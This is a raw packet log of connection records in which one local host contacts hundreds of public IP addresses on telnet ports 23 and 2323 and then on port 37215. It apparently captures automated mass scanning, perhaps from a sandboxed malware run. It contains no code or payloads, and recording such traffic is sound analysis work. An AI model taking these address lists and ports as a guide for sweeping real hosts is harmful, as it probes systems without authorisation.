Nov 3, 2024 15:37:12.506596088 CET	36201	2323	192.168.2.14	157.3.196.212
Nov 3, 2024 15:37:12.506604910 CET	23	36201	168.147.208.152	192.168.2.14
Nov 3, 2024 15:37:12.506614923 CET	36201	23	192.168.2.14	181.205.112.137
Nov 3, 2024 15:37:12.506617069 CET	23	36201	192.248.22.0	192.168.2.14
Nov 3, 2024 15:37:12.506620884 CET	36201	23	192.168.2.14	156.21.246.180
Nov 3, 2024 15:37:12.506644011 CET	23	36201	141.118.30.79	192.168.2.14
Nov 3, 2024 15:37:12.506645918 CET	36201	23	192.168.2.14	72.161.89.227
Nov 3, 2024 15:37:12.506645918 CET	36201	23	192.168.2.14	192.248.22.0
Nov 3, 2024 15:37:12.506655931 CET	23	36201	78.86.113.99	192.168.2.14
Nov 3, 2024 15:37:12.506668091 CET	23	36201	171.79.99.233	192.168.2.14
Nov 3, 2024 15:37:12.506669998 CET	36201	23	192.168.2.14	72.233.132.145
Nov 3, 2024 15:37:12.506680012 CET	23	36201	163.246.128.149	192.168.2.14
Nov 3, 2024 15:37:12.506691933 CET	23	36201	13.130.237.224	192.168.2.14
Nov 3, 2024 15:37:12.506691933 CET	36201	23	192.168.2.14	168.147.208.152
Nov 3, 2024 15:37:12.506692886 CET	36201	23	192.168.2.14	78.86.113.99
Nov 3, 2024 15:37:12.506717920 CET	36201	23	192.168.2.14	141.118.30.79
Nov 3, 2024 15:37:12.506733894 CET	36201	23	192.168.2.14	171.79.99.233
Nov 3, 2024 15:37:12.506753922 CET	23	36201	72.152.122.146	192.168.2.14
Nov 3, 2024 15:37:12.506766081 CET	23	36201	139.210.39.9	192.168.2.14
Nov 3, 2024 15:37:12.506767988 CET	36201	23	192.168.2.14	163.246.128.149
Nov 3, 2024 15:37:12.506777048 CET	23	36201	107.177.228.58	192.168.2.14
Nov 3, 2024 15:37:12.506794930 CET	36201	23	192.168.2.14	72.152.122.146
Nov 3, 2024 15:37:12.506794930 CET	2323	36201	19.186.53.150	192.168.2.14
Nov 3, 2024 15:37:12.506808043 CET	23	36201	109.204.31.44	192.168.2.14
Nov 3, 2024 15:37:12.506808996 CET	36201	23	192.168.2.14	13.130.237.224
Nov 3, 2024 15:37:12.506819963 CET	23	36201	193.168.44.153	192.168.2.14
Nov 3, 2024 15:37:12.506824970 CET	36201	23	192.168.2.14	139.210.39.9
Nov 3, 2024 15:37:12.506829977 CET	23	36201	207.197.122.177	192.168.2.14
Nov 3, 2024 15:37:12.506841898 CET	36201	23	192.168.2.14	107.177.228.58
Nov 3, 2024 15:37:12.506850004 CET	23	36201	136.142.79.168	192.168.2.14
Nov 3, 2024 15:37:12.506850004 CET	36201	23	192.168.2.14	109.204.31.44
Nov 3, 2024 15:37:12.506851912 CET	36201	23	192.168.2.14	193.168.44.153
Nov 3, 2024 15:37:12.506860018 CET	36201	2323	192.168.2.14	19.186.53.150
Nov 3, 2024 15:37:12.506861925 CET	23	36201	211.0.141.70	192.168.2.14
Nov 3, 2024 15:37:12.506867886 CET	36201	23	192.168.2.14	207.197.122.177
Nov 3, 2024 15:37:12.506872892 CET	23	36201	203.208.228.233	192.168.2.14
Nov 3, 2024 15:37:12.506881952 CET	36201	23	192.168.2.14	136.142.79.168
Nov 3, 2024 15:37:12.506886005 CET	2323	36201	176.109.96.17	192.168.2.14
Nov 3, 2024 15:37:12.506899118 CET	23	36201	119.214.17.84	192.168.2.14
Nov 3, 2024 15:37:12.506903887 CET	36201	23	192.168.2.14	211.0.141.70
Nov 3, 2024 15:37:12.506910086 CET	23	36201	169.60.103.112	192.168.2.14
Nov 3, 2024 15:37:12.506922007 CET	23	36201	167.64.202.72	192.168.2.14
Nov 3, 2024 15:37:12.506926060 CET	36201	23	192.168.2.14	203.208.228.233
Nov 3, 2024 15:37:12.506932974 CET	23	36201	156.123.111.160	192.168.2.14
Nov 3, 2024 15:37:12.506943941 CET	23	36201	41.232.150.186	192.168.2.14
Nov 3, 2024 15:37:12.506947041 CET	36201	2323	192.168.2.14	176.109.96.17
Nov 3, 2024 15:37:12.506948948 CET	36201	23	192.168.2.14	169.60.103.112
Nov 3, 2024 15:37:12.506953955 CET	23	36201	66.105.145.179	192.168.2.14
Nov 3, 2024 15:37:12.506973028 CET	23	36201	18.20.206.174	192.168.2.14
Nov 3, 2024 15:37:12.506979942 CET	36201	23	192.168.2.14	41.232.150.186
Nov 3, 2024 15:37:12.506979942 CET	36201	23	192.168.2.14	119.214.17.84
Nov 3, 2024 15:37:12.506983995 CET	23	36201	105.132.49.43	192.168.2.14
Nov 3, 2024 15:37:12.506993055 CET	36201	23	192.168.2.14	167.64.202.72
Nov 3, 2024 15:37:12.506994009 CET	23	36201	211.53.235.177	192.168.2.14
Nov 3, 2024 15:37:12.507006884 CET	36201	23	192.168.2.14	156.123.111.160
Nov 3, 2024 15:37:12.507013083 CET	36201	23	192.168.2.14	18.20.206.174
Nov 3, 2024 15:37:12.507014036 CET	23	36201	146.196.6.6	192.168.2.14
Nov 3, 2024 15:37:12.507024050 CET	2323	36201	171.113.176.42	192.168.2.14
Nov 3, 2024 15:37:12.507030964 CET	36201	23	192.168.2.14	211.53.235.177
Nov 3, 2024 15:37:12.507030964 CET	36201	23	192.168.2.14	105.132.49.43
Nov 3, 2024 15:37:12.507031918 CET	36201	23	192.168.2.14	66.105.145.179
Nov 3, 2024 15:37:12.507035971 CET	23	36201	105.47.13.43	192.168.2.14
Nov 3, 2024 15:37:12.507044077 CET	36201	23	192.168.2.14	146.196.6.6
Nov 3, 2024 15:37:12.507069111 CET	36201	2323	192.168.2.14	171.113.176.42
Nov 3, 2024 15:37:12.507075071 CET	36201	23	192.168.2.14	105.47.13.43
Nov 3, 2024 15:37:12.507101059 CET	23	36201	208.145.22.107	192.168.2.14
Nov 3, 2024 15:37:12.507112026 CET	23	36201	85.197.88.35	192.168.2.14
Nov 3, 2024 15:37:12.507121086 CET	23	36201	75.243.155.167	192.168.2.14
Nov 3, 2024 15:37:12.507134914 CET	23	36201	141.29.173.133	192.168.2.14
Nov 3, 2024 15:37:12.507141113 CET	36201	23	192.168.2.14	208.145.22.107
Nov 3, 2024 15:37:12.507149935 CET	23	36201	44.174.101.48	192.168.2.14
Nov 3, 2024 15:37:12.507160902 CET	23	36201	142.112.249.49	192.168.2.14
Nov 3, 2024 15:37:12.507170916 CET	23	36201	17.158.213.211	192.168.2.14
Nov 3, 2024 15:37:12.507172108 CET	36201	23	192.168.2.14	141.29.173.133
Nov 3, 2024 15:37:12.507179976 CET	36201	23	192.168.2.14	85.197.88.35
Nov 3, 2024 15:37:12.507183075 CET	23	36201	78.208.64.189	192.168.2.14
Nov 3, 2024 15:37:12.507191896 CET	36201	23	192.168.2.14	142.112.249.49
Nov 3, 2024 15:37:12.507199049 CET	36201	23	192.168.2.14	75.243.155.167
Nov 3, 2024 15:37:12.507203102 CET	2323	36201	220.1.79.64	192.168.2.14
Nov 3, 2024 15:37:12.507215023 CET	23	36201	41.8.225.238	192.168.2.14
Nov 3, 2024 15:37:12.507216930 CET	36201	23	192.168.2.14	44.174.101.48
Nov 3, 2024 15:37:12.507225037 CET	23	36201	78.21.241.129	192.168.2.14
Nov 3, 2024 15:37:12.507225037 CET	36201	23	192.168.2.14	17.158.213.211
Nov 3, 2024 15:37:12.507241011 CET	23	36201	106.162.181.41	192.168.2.14
Nov 3, 2024 15:37:12.507246971 CET	36201	23	192.168.2.14	78.208.64.189
Nov 3, 2024 15:37:12.507251978 CET	36201	23	192.168.2.14	41.8.225.238
Nov 3, 2024 15:37:12.507256985 CET	23	36201	94.82.68.129	192.168.2.14
Nov 3, 2024 15:37:12.507260084 CET	36201	2323	192.168.2.14	220.1.79.64
Nov 3, 2024 15:37:12.507267952 CET	23	36201	70.75.129.81	192.168.2.14
Nov 3, 2024 15:37:12.507272959 CET	36201	23	192.168.2.14	78.21.241.129
Nov 3, 2024 15:37:12.507280111 CET	23	36201	106.49.196.238	192.168.2.14
Nov 3, 2024 15:37:12.507286072 CET	36201	23	192.168.2.14	106.162.181.41
Nov 3, 2024 15:37:12.507292986 CET	23	36201	192.85.1.120	192.168.2.14
Nov 3, 2024 15:37:12.507296085 CET	36201	23	192.168.2.14	94.82.68.129
Nov 3, 2024 15:37:12.507302999 CET	36201	23	192.168.2.14	70.75.129.81
Nov 3, 2024 15:37:12.507318974 CET	36201	23	192.168.2.14	106.49.196.238
Nov 3, 2024 15:37:12.507340908 CET	36201	23	192.168.2.14	192.85.1.120
Nov 3, 2024 15:37:12.520117998 CET	35945	37215	192.168.2.14	197.0.186.138
Nov 3, 2024 15:37:12.520134926 CET	35945	37215	192.168.2.14	197.193.109.8
Nov 3, 2024 15:37:12.520162106 CET	35945	37215	192.168.2.14	197.132.33.151
Nov 3, 2024 15:37:12.520186901 CET	35945	37215	192.168.2.14	41.58.132.212
Nov 3, 2024 15:37:12.520200014 CET	35945	37215	192.168.2.14	41.173.66.61
Nov 3, 2024 15:37:12.520225048 CET	35945	37215	192.168.2.14	41.32.122.127
Nov 3, 2024 15:37:12.520257950 CET	35945	37215	192.168.2.14	156.55.56.236
Nov 3, 2024 15:37:12.520261049 CET	35945	37215	192.168.2.14	156.11.225.199
Nov 3, 2024 15:37:12.520265102 CET	35945	37215	192.168.2.14	156.22.85.66
Nov 3, 2024 15:37:12.520267010 CET	35945	37215	192.168.2.14	197.164.123.178
Nov 3, 2024 15:37:12.520267010 CET	35945	37215	192.168.2.14	197.214.234.239
Nov 3, 2024 15:37:12.520267963 CET	35945	37215	192.168.2.14	41.241.148.43
Nov 3, 2024 15:37:12.520277023 CET	35945	37215	192.168.2.14	156.13.79.150
Nov 3, 2024 15:37:12.520279884 CET	35945	37215	192.168.2.14	156.152.29.203
Nov 3, 2024 15:37:12.520279884 CET	35945	37215	192.168.2.14	156.38.144.91
Nov 3, 2024 15:37:12.520281076 CET	35945	37215	192.168.2.14	156.122.163.84
Nov 3, 2024 15:37:12.520281076 CET	35945	37215	192.168.2.14	197.11.20.210
Nov 3, 2024 15:37:12.520291090 CET	35945	37215	192.168.2.14	41.105.203.8
Nov 3, 2024 15:37:12.520292044 CET	35945	37215	192.168.2.14	197.203.153.150
Nov 3, 2024 15:37:12.520293951 CET	35945	37215	192.168.2.14	41.36.116.200
Nov 3, 2024 15:37:12.520294905 CET	35945	37215	192.168.2.14	41.86.142.139
Nov 3, 2024 15:37:12.520299911 CET	35945	37215	192.168.2.14	197.244.122.47
Nov 3, 2024 15:37:12.520307064 CET	35945	37215	192.168.2.14	156.59.53.152
Nov 3, 2024 15:37:12.520313025 CET	35945	37215	192.168.2.14	197.149.66.100
Nov 3, 2024 15:37:12.520315886 CET	35945	37215	192.168.2.14	156.8.238.217
Nov 3, 2024 15:37:12.520324945 CET	35945	37215	192.168.2.14	197.164.33.240
Nov 3, 2024 15:37:12.520327091 CET	35945	37215	192.168.2.14	197.98.230.108
Nov 3, 2024 15:37:12.520327091 CET	35945	37215	192.168.2.14	156.65.123.235
Nov 3, 2024 15:37:12.520327091 CET	35945	37215	192.168.2.14	156.226.144.185
Nov 3, 2024 15:37:12.520339012 CET	35945	37215	192.168.2.14	41.207.156.8
Nov 3, 2024 15:37:12.520344973 CET	35945	37215	192.168.2.14	197.187.16.244
Nov 3, 2024 15:37:12.520347118 CET	35945	37215	192.168.2.14	41.211.5.198
Nov 3, 2024 15:37:12.520350933 CET	35945	37215	192.168.2.14	197.98.114.243
Nov 3, 2024 15:37:12.520350933 CET	35945	37215	192.168.2.14	156.89.216.247
Nov 3, 2024 15:37:12.520351887 CET	35945	37215	192.168.2.14	156.227.228.150
Nov 3, 2024 15:37:12.520351887 CET	35945	37215	192.168.2.14	41.57.184.180
Nov 3, 2024 15:37:12.520355940 CET	35945	37215	192.168.2.14	197.119.244.76
Nov 3, 2024 15:37:12.520365000 CET	35945	37215	192.168.2.14	41.23.194.201
Nov 3, 2024 15:37:12.520369053 CET	35945	37215	192.168.2.14	156.124.157.153
Nov 3, 2024 15:37:12.520378113 CET	35945	37215	192.168.2.14	197.97.55.169
Nov 3, 2024 15:37:12.520379066 CET	35945	37215	192.168.2.14	41.226.252.55
Nov 3, 2024 15:37:12.520382881 CET	35945	37215	192.168.2.14	156.231.16.174
Nov 3, 2024 15:37:12.520382881 CET	35945	37215	192.168.2.14	197.129.4.197
Nov 3, 2024 15:37:12.520382881 CET	35945	37215	192.168.2.14	197.50.19.183
Nov 3, 2024 15:37:12.520385981 CET	35945	37215	192.168.2.14	197.217.210.143
Nov 3, 2024 15:37:12.520391941 CET	35945	37215	192.168.2.14	197.48.162.96
Nov 3, 2024 15:37:12.520391941 CET	35945	37215	192.168.2.14	197.5.21.137
Nov 3, 2024 15:37:12.520402908 CET	35945	37215	192.168.2.14	197.230.108.115
Nov 3, 2024 15:37:12.520404100 CET	35945	37215	192.168.2.14	156.202.247.186
Nov 3, 2024 15:37:12.520407915 CET	35945	37215	192.168.2.14	156.76.52.80
Nov 3, 2024 15:37:12.520407915 CET	35945	37215	192.168.2.14	41.232.197.136
Nov 3, 2024 15:37:12.520411015 CET	35945	37215	192.168.2.14	197.63.25.226
Nov 3, 2024 15:37:12.520411968 CET	35945	37215	192.168.2.14	41.99.2.74
Nov 3, 2024 15:37:12.520417929 CET	35945	37215	192.168.2.14	156.201.169.41
Nov 3, 2024 15:37:12.520417929 CET	35945	37215	192.168.2.14	41.44.69.54
Nov 3, 2024 15:37:12.520430088 CET	35945	37215	192.168.2.14	156.133.95.251
Nov 3, 2024 15:37:12.520435095 CET	35945	37215	192.168.2.14	197.201.248.16
Nov 3, 2024 15:37:12.520442963 CET	35945	37215	192.168.2.14	197.0.82.48
Nov 3, 2024 15:37:12.520442963 CET	35945	37215	192.168.2.14	41.211.207.167
Nov 3, 2024 15:37:12.520442963 CET	35945	37215	192.168.2.14	41.10.235.36
Nov 3, 2024 15:37:12.520445108 CET	35945	37215	192.168.2.14	41.196.42.19
Nov 3, 2024 15:37:12.520445108 CET	35945	37215	192.168.2.14	197.181.187.208
Nov 3, 2024 15:37:12.520447016 CET	35945	37215	192.168.2.14	41.162.218.93
Nov 3, 2024 15:37:12.520447016 CET	35945	37215	192.168.2.14	156.44.169.250
Nov 3, 2024 15:37:12.520447016 CET	35945	37215	192.168.2.14	197.76.181.214
Nov 3, 2024 15:37:12.520447016 CET	35945	37215	192.168.2.14	156.228.66.205
Nov 3, 2024 15:37:12.520452023 CET	35945	37215	192.168.2.14	197.224.183.115
Nov 3, 2024 15:37:12.520452976 CET	35945	37215	192.168.2.14	41.110.179.201
Nov 3, 2024 15:37:12.520458937 CET	35945	37215	192.168.2.14	197.203.142.162
Nov 3, 2024 15:37:12.520458937 CET	35945	37215	192.168.2.14	41.42.107.157
Nov 3, 2024 15:37:12.520463943 CET	35945	37215	192.168.2.14	156.207.203.230
Nov 3, 2024 15:37:12.520466089 CET	35945	37215	192.168.2.14	156.33.81.15
Nov 3, 2024 15:37:12.520468950 CET	35945	37215	192.168.2.14	156.50.239.60
Nov 3, 2024 15:37:12.520468950 CET	35945	37215	192.168.2.14	197.39.242.229
Nov 3, 2024 15:37:12.520468950 CET	35945	37215	192.168.2.14	197.117.148.253
Nov 3, 2024 15:37:12.520468950 CET	35945	37215	192.168.2.14	156.83.126.47
Nov 3, 2024 15:37:12.520473003 CET	35945	37215	192.168.2.14	156.127.65.58
Nov 3, 2024 15:37:12.520479918 CET	35945	37215	192.168.2.14	197.241.205.123
Nov 3, 2024 15:37:12.520482063 CET	35945	37215	192.168.2.14	41.133.76.143
Nov 3, 2024 15:37:12.520486116 CET	35945	37215	192.168.2.14	41.2.221.231
Nov 3, 2024 15:37:12.520486116 CET	35945	37215	192.168.2.14	156.239.224.241
Nov 3, 2024 15:37:12.520486116 CET	35945	37215	192.168.2.14	41.141.208.25
Nov 3, 2024 15:37:12.520487070 CET	35945	37215	192.168.2.14	197.88.216.60
Nov 3, 2024 15:37:12.520487070 CET	35945	37215	192.168.2.14	197.155.33.96
Nov 3, 2024 15:37:12.520489931 CET	35945	37215	192.168.2.14	156.238.179.251
Nov 3, 2024 15:37:12.520497084 CET	35945	37215	192.168.2.14	41.60.26.213
Nov 3, 2024 15:37:12.520498991 CET	35945	37215	192.168.2.14	197.162.234.234
Nov 3, 2024 15:37:12.520498991 CET	35945	37215	192.168.2.14	197.189.234.91
Nov 3, 2024 15:37:12.520498991 CET	35945	37215	192.168.2.14	41.134.66.88
Nov 3, 2024 15:37:12.520498991 CET	35945	37215	192.168.2.14	156.78.6.84
Nov 3, 2024 15:37:12.520498991 CET	35945	37215	192.168.2.14	156.4.79.247
Nov 3, 2024 15:37:12.520498991 CET	35945	37215	192.168.2.14	41.109.108.48
Nov 3, 2024 15:37:12.520498991 CET	35945	37215	192.168.2.14	41.184.232.94
Nov 3, 2024 15:37:12.520500898 CET	35945	37215	192.168.2.14	197.15.41.27
Nov 3, 2024 15:37:12.520498991 CET	35945	37215	192.168.2.14	197.226.78.77
Nov 3, 2024 15:37:12.520498991 CET	35945	37215	192.168.2.14	41.98.141.48
Nov 3, 2024 15:37:12.520508051 CET	35945	37215	192.168.2.14	156.170.147.43
Nov 3, 2024 15:37:12.520508051 CET	35945	37215	192.168.2.14	156.93.51.51
Nov 3, 2024 15:37:12.520510912 CET	35945	37215	192.168.2.14	41.143.148.179
Nov 3, 2024 15:37:12.520510912 CET	35945	37215	192.168.2.14	41.17.199.249
Nov 3, 2024 15:37:12.520513058 CET	35945	37215	192.168.2.14	156.173.176.149
Nov 3, 2024 15:37:12.520514011 CET	35945	37215	192.168.2.14	156.97.210.208
Nov 3, 2024 15:37:12.520514011 CET	35945	37215	192.168.2.14	197.236.196.252
Nov 3, 2024 15:37:12.520514011 CET	35945	37215	192.168.2.14	41.77.21.214
Nov 3, 2024 15:37:12.520514965 CET	35945	37215	192.168.2.14	156.186.127.237
Nov 3, 2024 15:37:12.520517111 CET	35945	37215	192.168.2.14	156.239.114.184
Nov 3, 2024 15:37:12.520529985 CET	35945	37215	192.168.2.14	41.9.126.112
Nov 3, 2024 15:37:12.520529985 CET	35945	37215	192.168.2.14	41.207.76.241
Nov 3, 2024 15:37:12.520530939 CET	35945	37215	192.168.2.14	197.34.205.99
Nov 3, 2024 15:37:12.520535946 CET	35945	37215	192.168.2.14	197.216.182.184
Nov 3, 2024 15:37:12.520544052 CET	35945	37215	192.168.2.14	41.165.183.33
Nov 3, 2024 15:37:12.520550013 CET	35945	37215	192.168.2.14	156.73.104.129
Nov 3, 2024 15:37:12.520553112 CET	35945	37215	192.168.2.14	41.89.1.54
Nov 3, 2024 15:37:12.520553112 CET	35945	37215	192.168.2.14	41.229.143.181
Nov 3, 2024 15:37:12.520555019 CET	35945	37215	192.168.2.14	156.240.114.82
Nov 3, 2024 15:37:12.520556927 CET	35945	37215	192.168.2.14	41.114.117.146
Nov 3, 2024 15:37:12.520562887 CET	35945	37215	192.168.2.14	156.193.103.132
Nov 3, 2024 15:37:12.520562887 CET	35945	37215	192.168.2.14	156.167.177.29
Nov 3, 2024 15:37:12.520577908 CET	35945	37215	192.168.2.14	156.39.153.108
Nov 3, 2024 15:37:12.520577908 CET	35945	37215	192.168.2.14	197.169.104.182
Nov 3, 2024 15:37:12.520581961 CET	35945	37215	192.168.2.14	197.17.74.142
Nov 3, 2024 15:37:12.520586967 CET	35945	37215	192.168.2.14	197.36.218.179
Nov 3, 2024 15:37:12.520589113 CET	35945	37215	192.168.2.14	197.112.165.61
Nov 3, 2024 15:37:12.520592928 CET	35945	37215	192.168.2.14	41.226.227.35
Nov 3, 2024 15:37:12.520607948 CET	35945	37215	192.168.2.14	197.252.151.173
Nov 3, 2024 15:37:12.520610094 CET	35945	37215	192.168.2.14	197.83.69.225
Nov 3, 2024 15:37:12.520610094 CET	35945	37215	192.168.2.14	156.38.95.53
Nov 3, 2024 15:37:12.520610094 CET	35945	37215	192.168.2.14	41.162.166.187
Nov 3, 2024 15:37:12.520612001 CET	35945	37215	192.168.2.14	156.31.12.199
Nov 3, 2024 15:37:12.520617962 CET	35945	37215	192.168.2.14	156.45.225.137
Nov 3, 2024 15:37:12.520626068 CET	35945	37215	192.168.2.14	197.175.160.214
Nov 3, 2024 15:37:12.520632982 CET	35945	37215	192.168.2.14	41.188.139.251
Nov 3, 2024 15:37:12.520632982 CET	35945	37215	192.168.2.14	156.220.54.10
Nov 3, 2024 15:37:12.520637035 CET	35945	37215	192.168.2.14	197.84.252.250
Nov 3, 2024 15:37:12.520637035 CET	35945	37215	192.168.2.14	41.122.219.254
Nov 3, 2024 15:37:12.520638943 CET	35945	37215	192.168.2.14	41.83.91.11
Nov 3, 2024 15:37:12.520644903 CET	35945	37215	192.168.2.14	41.162.211.21
Nov 3, 2024 15:37:12.520647049 CET	35945	37215	192.168.2.14	41.110.16.71
Nov 3, 2024 15:37:12.520657063 CET	35945	37215	192.168.2.14	41.54.26.180
Nov 3, 2024 15:37:12.520663977 CET	35945	37215	192.168.2.14	156.82.52.153
Nov 3, 2024 15:37:12.520663977 CET	35945	37215	192.168.2.14	41.62.40.158
Nov 3, 2024 15:37:12.520664930 CET	35945	37215	192.168.2.14	197.36.133.190
Nov 3, 2024 15:37:12.520664930 CET	35945	37215	192.168.2.14	197.14.245.232
Nov 3, 2024 15:37:12.520667076 CET	35945	37215	192.168.2.14	197.240.50.95
Nov 3, 2024 15:37:12.520687103 CET	35945	37215	192.168.2.14	197.32.212.4
Nov 3, 2024 15:37:12.520687103 CET	35945	37215	192.168.2.14	41.162.248.0
Nov 3, 2024 15:37:12.520687103 CET	35945	37215	192.168.2.14	41.145.59.213
Nov 3, 2024 15:37:12.520687103 CET	35945	37215	192.168.2.14	41.72.137.183
Nov 3, 2024 15:37:12.520687103 CET	35945	37215	192.168.2.14	197.176.13.170
Nov 3, 2024 15:37:12.520690918 CET	35945	37215	192.168.2.14	197.78.152.41
Nov 3, 2024 15:37:12.520698071 CET	35945	37215	192.168.2.14	197.48.120.85
Nov 3, 2024 15:37:12.520699024 CET	35945	37215	192.168.2.14	156.0.242.68
Nov 3, 2024 15:37:12.520699024 CET	35945	37215	192.168.2.14	156.230.83.134
Nov 3, 2024 15:37:12.520703077 CET	35945	37215	192.168.2.14	41.238.56.98
Nov 3, 2024 15:37:12.520715952 CET	35945	37215	192.168.2.14	197.143.62.255
Nov 3, 2024 15:37:12.520715952 CET	35945	37215	192.168.2.14	197.78.189.187
Nov 3, 2024 15:37:12.520720959 CET	35945	37215	192.168.2.14	197.220.71.115
Nov 3, 2024 15:37:12.520720959 CET	35945	37215	192.168.2.14	41.38.42.145
Nov 3, 2024 15:37:12.520720959 CET	35945	37215	192.168.2.14	197.92.255.126
Nov 3, 2024 15:37:12.520720959 CET	35945	37215	192.168.2.14	197.69.174.93
Nov 3, 2024 15:37:12.520724058 CET	35945	37215	192.168.2.14	41.213.55.74
Nov 3, 2024 15:37:12.520730019 CET	35945	37215	192.168.2.14	156.162.8.211
Nov 3, 2024 15:37:12.520746946 CET	35945	37215	192.168.2.14	197.242.217.149
Nov 3, 2024 15:37:12.520746946 CET	35945	37215	192.168.2.14	41.218.5.107
Nov 3, 2024 15:37:12.520747900 CET	35945	37215	192.168.2.14	197.98.248.165
Nov 3, 2024 15:37:12.520746946 CET	35945	37215	192.168.2.14	156.208.183.211
Nov 3, 2024 15:37:12.520749092 CET	35945	37215	192.168.2.14	41.107.250.101
Nov 3, 2024 15:37:12.520754099 CET	35945	37215	192.168.2.14	197.44.95.148
Nov 3, 2024 15:37:12.520755053 CET	35945	37215	192.168.2.14	156.58.51.27
Nov 3, 2024 15:37:12.520756006 CET	35945	37215	192.168.2.14	156.252.18.223
Nov 3, 2024 15:37:12.520756006 CET	35945	37215	192.168.2.14	156.54.170.92
Nov 3, 2024 15:37:12.520761013 CET	35945	37215	192.168.2.14	156.237.42.110
Nov 3, 2024 15:37:12.520765066 CET	35945	37215	192.168.2.14	41.95.211.139
Nov 3, 2024 15:37:12.520772934 CET	35945	37215	192.168.2.14	197.77.176.14
Nov 3, 2024 15:37:12.520780087 CET	35945	37215	192.168.2.14	156.206.180.145
Nov 3, 2024 15:37:12.520780087 CET	35945	37215	192.168.2.14	197.208.249.140
Nov 3, 2024 15:37:12.520780087 CET	35945	37215	192.168.2.14	197.230.142.151
Nov 3, 2024 15:37:12.520781994 CET	35945	37215	192.168.2.14	197.225.163.109
Nov 3, 2024 15:37:12.520786047 CET	35945	37215	192.168.2.14	197.138.63.50
Nov 3, 2024 15:37:12.520786047 CET	35945	37215	192.168.2.14	41.160.248.112
Nov 3, 2024 15:37:12.520787001 CET	35945	37215	192.168.2.14	41.188.147.230
Nov 3, 2024 15:37:12.520787001 CET	35945	37215	192.168.2.14	197.217.191.198
Nov 3, 2024 15:37:12.520795107 CET	35945	37215	192.168.2.14	156.203.151.215
Nov 3, 2024 15:37:12.520798922 CET	35945	37215	192.168.2.14	41.77.84.221
Nov 3, 2024 15:37:12.520798922 CET	35945	37215	192.168.2.14	41.25.7.188
Nov 3, 2024 15:37:12.520807028 CET	35945	37215	192.168.2.14	197.243.191.167
Nov 3, 2024 15:37:12.520812035 CET	35945	37215	192.168.2.14	41.70.179.233
Nov 3, 2024 15:37:12.520828009 CET	35945	37215	192.168.2.14	197.61.34.10
Nov 3, 2024 15:37:12.520828962 CET	35945	37215	192.168.2.14	156.234.166.150
Nov 3, 2024 15:37:12.520829916 CET	35945	37215	192.168.2.14	156.150.243.33
Nov 3, 2024 15:37:12.520831108 CET	35945	37215	192.168.2.14	197.130.236.130
Nov 3, 2024 15:37:12.520833969 CET	35945	37215	192.168.2.14	156.252.78.15
Nov 3, 2024 15:37:12.520833969 CET	35945	37215	192.168.2.14	156.196.235.142
Nov 3, 2024 15:37:12.520836115 CET	35945	37215	192.168.2.14	41.205.196.63
Nov 3, 2024 15:37:12.520838022 CET	35945	37215	192.168.2.14	197.132.6.206
Nov 3, 2024 15:37:12.520838976 CET	35945	37215	192.168.2.14	41.135.55.44
Nov 3, 2024 15:37:12.520838976 CET	35945	37215	192.168.2.14	41.236.205.197
Nov 3, 2024 15:37:12.520838976 CET	35945	37215	192.168.2.14	156.184.85.16
Nov 3, 2024 15:37:12.520838976 CET	35945	37215	192.168.2.14	197.249.154.207
Nov 3, 2024 15:37:12.520838976 CET	35945	37215	192.168.2.14	41.152.245.254
Nov 3, 2024 15:37:12.520838976 CET	35945	37215	192.168.2.14	41.47.207.166
Nov 3, 2024 15:37:12.520854950 CET	35945	37215	192.168.2.14	41.124.73.152
Nov 3, 2024 15:37:12.520857096 CET	35945	37215	192.168.2.14	41.150.146.12
Nov 3, 2024 15:37:12.520863056 CET	35945	37215	192.168.2.14	41.116.42.206
Nov 3, 2024 15:37:12.520863056 CET	35945	37215	192.168.2.14	41.94.31.33
Nov 3, 2024 15:37:12.520868063 CET	35945	37215	192.168.2.14	41.87.223.103
Nov 3, 2024 15:37:12.520869970 CET	35945	37215	192.168.2.14	197.2.238.211
Nov 3, 2024 15:37:12.520880938 CET	35945	37215	192.168.2.14	156.21.20.27
Nov 3, 2024 15:37:12.520880938 CET	35945	37215	192.168.2.14	41.166.100.42
Nov 3, 2024 15:37:12.520884991 CET	35945	37215	192.168.2.14	41.16.22.64
Nov 3, 2024 15:37:12.520886898 CET	35945	37215	192.168.2.14	41.101.182.84
Nov 3, 2024 15:37:12.520896912 CET	35945	37215	192.168.2.14	156.239.238.228
Nov 3, 2024 15:37:12.520896912 CET	35945	37215	192.168.2.14	41.193.152.58
Nov 3, 2024 15:37:12.520903111 CET	35945	37215	192.168.2.14	156.141.237.228
Nov 3, 2024 15:37:12.520924091 CET	35945	37215	192.168.2.14	41.218.58.214
Nov 3, 2024 15:37:12.520924091 CET	35945	37215	192.168.2.14	197.119.106.203
Nov 3, 2024 15:37:12.520924091 CET	35945	37215	192.168.2.14	197.34.17.57
Nov 3, 2024 15:37:12.520934105 CET	35945	37215	192.168.2.14	41.93.124.11
Nov 3, 2024 15:37:12.520934105 CET	35945	37215	192.168.2.14	156.221.230.7
Nov 3, 2024 15:37:12.520934105 CET	35945	37215	192.168.2.14	197.132.30.96
Nov 3, 2024 15:37:12.520935059 CET	35945	37215	192.168.2.14	197.83.169.242
Nov 3, 2024 15:37:12.520939112 CET	35945	37215	192.168.2.14	41.177.191.89
Nov 3, 2024 15:37:12.520939112 CET	35945	37215	192.168.2.14	197.15.206.121
Nov 3, 2024 15:37:12.520939112 CET	35945	37215	192.168.2.14	197.96.253.156
Nov 3, 2024 15:37:12.520941019 CET	35945	37215	192.168.2.14	197.202.210.122
Nov 3, 2024 15:37:12.520944118 CET	35945	37215	192.168.2.14	156.147.10.128
Nov 3, 2024 15:37:12.520945072 CET	35945	37215	192.168.2.14	41.64.157.158
Nov 3, 2024 15:37:12.520945072 CET	35945	37215	192.168.2.14	197.129.199.154
Nov 3, 2024 15:37:12.520960093 CET	35945	37215	192.168.2.14	197.136.132.254
Nov 3, 2024 15:37:12.520960093 CET	35945	37215	192.168.2.14	197.3.78.76
Nov 3, 2024 15:37:12.520961046 CET	35945	37215	192.168.2.14	197.128.133.79
Nov 3, 2024 15:37:12.520961046 CET	35945	37215	192.168.2.14	156.245.19.84
Nov 3, 2024 15:37:12.520961046 CET	35945	37215	192.168.2.14	156.209.191.16
Nov 3, 2024 15:37:12.520962954 CET	35945	37215	192.168.2.14	156.84.42.15
Nov 3, 2024 15:37:12.520962954 CET	35945	37215	192.168.2.14	156.149.223.79
Nov 3, 2024 15:37:12.520962954 CET	35945	37215	192.168.2.14	156.56.129.83
Nov 3, 2024 15:37:12.520962954 CET	35945	37215	192.168.2.14	197.171.11.153
Nov 3, 2024 15:37:12.520966053 CET	35945	37215	192.168.2.14	41.88.154.158
